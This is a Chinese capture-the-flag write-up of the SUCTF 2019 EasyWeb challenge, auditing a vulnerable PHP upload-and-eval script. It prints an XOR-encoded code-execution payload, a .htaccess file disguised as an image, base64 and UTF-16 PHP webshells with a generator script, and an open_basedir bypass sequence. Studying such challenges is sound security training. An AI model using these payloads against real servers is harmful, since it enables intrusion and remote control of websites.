[SUCTF 2019]EasyWeb

前言:

不是很难,但是能学到新姿势

考点:

代码审计

无数字字母RCE

文件上传

openbasedir绕过

解题:

上来就是代码审计

 <?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

简单读了下代码。

GET 传  一个  ?_  赋值给$hhh

条件:

$hhh 长度不能超过 18  ,不能匹配到 指定的字符, 盲猜是异或绕过。

本地测试到 只能利用这些字符。 

! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } 

还有这个函数 count_chars 

 返回在字符串中所用字符的信息,本题中用的是模式3,返回在字符串中使用过的不同字符

本地测试一下:

$a  = count_chars("qwe rcc ce",3);
var_dump($a);

结果:

 如果相同的字符 ,出现的次数超过12 则会退出。

后面执行 eval($hhh)

本题可以套娃绕过。

如:

http://127.0.0.1/test/test1.php?_=${_GET}{a}();&a=phpinfo

这里用 {  } 是因为 [ ]  被过滤了。结果是一样的。

?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo

先 审计一下 以下代码:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

路径会打印出来,过滤了ph的后缀  文件内容不能有 <? ,而且 必须是图片。因为过滤了 ph 

想要上传带 ph 的后缀是不可能的了,如果上传 jpg格式的再进行包含 也是先上传 .htaccess 或者  是 .user.ini   而 .user.ini 需要有php 文件下才可以利用,所以我们上传 .htaccess 。

新姿势:

如何让 .htaccess 文件 被判断成图片,我按常规思路想着 加GIF89a 了 但是不行 。 

看其他师傅的才知道。 有两种方法:

方法一:

#define width 1337
#define height 1337

方法二:

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

 但是还有一个问题,就是文件内容不能有<?

<script language="php"></script>来绕过,但是因为这题的PHP版本是7.3.4,<script language="php"></script>这种写法在PHP7以后就不支持了,因此不行。

这里又是一个新姿势:

#define width 1337
#define height 1337 
AddType application/x-httpd-php .snowy
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/123.snowy

利用auto_append_file来包含b64解码的123.feng文章,这样往123.feng里面写b64解密后的马,就可以绕过<?的过滤了。

但是还有一个细节需要注意,我们的123.snowy也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码,而且不会影响到后面的PHP一句话

GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+

 网上的脚本,上传.htaccess

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
	phpfile = open(filename, 'wb') 

	phpfile.write(script.encode('utf-16be'))
	phpfile.write(SIZE_HEADER)

	phpfile.close()

def generate_htacess():
	htaccess = open('.htaccess', 'wb')

	htaccess.write(SIZE_HEADER)
	htaccess.write(b'AddType application/x-httpd-php .lethe\n')
	htaccess.write(b'php_value zend.multibyte 1\n')
	htaccess.write(b'php_value zend.detect_unicode 1\n')
	htaccess.write(b'php_value display_errors 1\n')

	htaccess.close()
		
generate_htacess()

generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")


接下来就是最后一个点,通过phpinfo我们可以看到存在open_basedir和disable_functions的限制,这时候看一下PHP版本是7.3.4,应该存在一个绕disable_functions的洞,利用蚁剑可以直接梭:

 或者考虑命令执行一步一步绕过,因为没有过滤scandir,glob和file_get_contents,因此disable_functions这个的过滤其实对我们来说问题不大,主要的问题还是如何绕过open_basedir,姿势如下: 如果不熟悉的话,可以了解我之前写的文章。

mkdir('feng');
chdir('feng');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

总结:

。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值